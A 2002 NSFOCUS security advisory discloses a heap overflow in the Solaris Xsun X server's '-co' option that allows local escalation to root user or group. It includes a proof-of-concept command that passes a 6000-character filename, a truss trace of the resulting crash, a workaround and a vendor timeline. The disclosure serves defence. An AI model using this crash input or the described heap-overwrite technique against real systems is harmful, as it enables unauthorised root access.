NSFOCUS - Sun Solaris Xsun "-co" heap overflow(SA2002-01)

Research Institute

Security Advisory

NSFOCUS Security Advisory(SA2002-01)

Topic: Sun Solaris Xsun "-co" heap overflow

Release Date: 2002-4-02

CVE CAN ID : CAN-2002-0158

Affected system:
===========

- Sun Solaris 2.6 (SPARC/x86)
- Sun Solaris 7 (SPARC/x86)
- Sun Solaris 8 (SPARC/x86)

Impact:
=====

NSFOCUS Security Team has found a buffer overflow vulnerability in Xsun shiped with Solaris system when processing a command line parameter "-co", which could enable a local attacker to run arbitrary code with root user/root group privilege.

Description:
========

Xsun is an Xwindow server (for X11) on Solaris platform. It is installed in usr/openwin/bin/. On SPARC platform, it is configured to have setgid root attribute, and it is configured to have setuid root attribute on x86 platform.

Xsun supports a command line parameter "-co" to specify color database file. But the application does not perform length check of filename inputted by user, which would be used by an attacker to cause heap overflow. With carefully constructed data, an attacker might be able to run arbitrary code with root privilege.

In case that the attacker provide an overlong filename (for example, longer than 6000 bytes) for the "-co", it would overflow a dynamic allocated buffer. The attacker could modify arbitrary memory address (such as saved return address, and function ointer,etc.) with some features of malloc()/free() implementation by overwriting the border data structure of the next dynamic memory chunk.

On SPARC platform, attacker could obtain root group privilege; on x86 platform, attacker could obtain root user privilege.

Exploit:
=====

[root@ /tmp]> uname -a
SunOS sun8 5.8 Generic sun4u sparc SUNW,Ultra-5_10
[root@ /tmp]> truss /usr/openwin/bin/Xsun :1 -co `perl -e 'print "A"x6000'`
.....
mmap(0x00000000, 8404992, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, 4, 0) = 0xFE400000
mprotect(0xFE400000, 8192, PROT_NONE) = 0
mprotect(0xFEC02000, 8192, PROT_NONE) = 0
open64("A...AAAAA", O_RDONLY) Err#78 ENAMETOOLONG
Couldn't open RGB_DB 'write(2, " C o u l d n ' t o p e".., 22) = 22
AAA...AAAAAAAAAAAAAAAAAAAAAAAAAAwrite(2, " A A A A A A A A A A A A".., 6000) = 6000
'
write(2, " '\n", 2) = 2
getpid() = 21677 [21676]
getrlimit(RLIMIT_NOFILE, 0xFFBEE3F8) = 0
setrlimit(RLIMIT_NOFILE, 0xFFBEE3F8) = 0
uname(0xFFBEDB30) = 1
getrlimit(RLIMIT_NOFILE, 0xFFBEE128) = 0
so_socket(2, 2, 0, "", 1) = 0
setsockopt(0, 6, 1, 0xFFBEE124, 4, 1) = 0
setsockopt(0, 65535, 8, 0xFFBEE120, 4, 1) = 0
setsockopt(0, 65535, 4, 0xFFBEE194, 4, 1) = 0
bind(0, 0xFFBEE1B8, 16, 3) = 0
setsockopt(0, 65535, 128, 0x00175D40, 8, 1) = 0
listen(0, 5, 1) = 0
getsockname(0, 0xFFBEE144, 0xFFBEE154, 1) = 0
uname(0xFFBEDB30) = 1
Incurred fault #5, FLTACCESS %pc = 0xFECC14C8
siginfo: SIGBUS BUS_ADRALN addr=0x41414141
Received signal #10, SIGBUS [default]
siginfo: SIGBUS BUS_ADRALN addr=0x41414141
*** process killed ***

Workaround:
========

Temporarily remove the suid root or sgid root attribute of Xsun:

# chmod a-s /usr/openwin/bin/Xsun

Vendor Status:
==========

2001.8.08 We have informed Sun of this problem.
2001.8.08 Sun replied that they have forward the problem to corresponding
team, but no further response up to now.

In our testing, Xsun with the latest security patch still has the problem.

Additional Information:
===============

The Common Vulnerabilities and Exposures (CVE) project has
assigned the name CAN-2002-0158 to this issue. This is a
candidate for inclusion in the CVE list (http://cve.mitre.org),
which standardizes names for security problems. Candidates
may change significantly before they become official CVE entries.

DISCLAIMS:
THE INFORMATION PROVIDED IS RELEASED BY NSFOCUS "AS IS" WITHOUT WARRANTY OF ANY KIND. NSFOCUS DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, EXCEPT FOR THE WARRANTIES OF MERCHANTABILITY. IN NO EVENTSHALL NSFOCUS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL, CONSEQUENTIAL, LOSS OF USINESS PROFITS OR SPECIAL DAMAGES, EVEN IF NSFOCUS HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. DISTRIBUTION OR REPRODUCTION OF THE INFORMATION IS PROVIDED THAT THE ADVISORY IS NOT MODIFIED IN ANY WAY.

NSFOCUS Security Team <security@nsfocus.com>
NSFOCUS INFORMATION TECHNOLOGY CO.,LTD
(http://www.nsfocus.com)

PGP Key: http://www.nsfocus.com/homepage/research/pgpkey.asc
Key fingerprint = F8F2 F5D1 EF74 E08C 02FE 1B90 D7BF 7877 C6A6 F6DA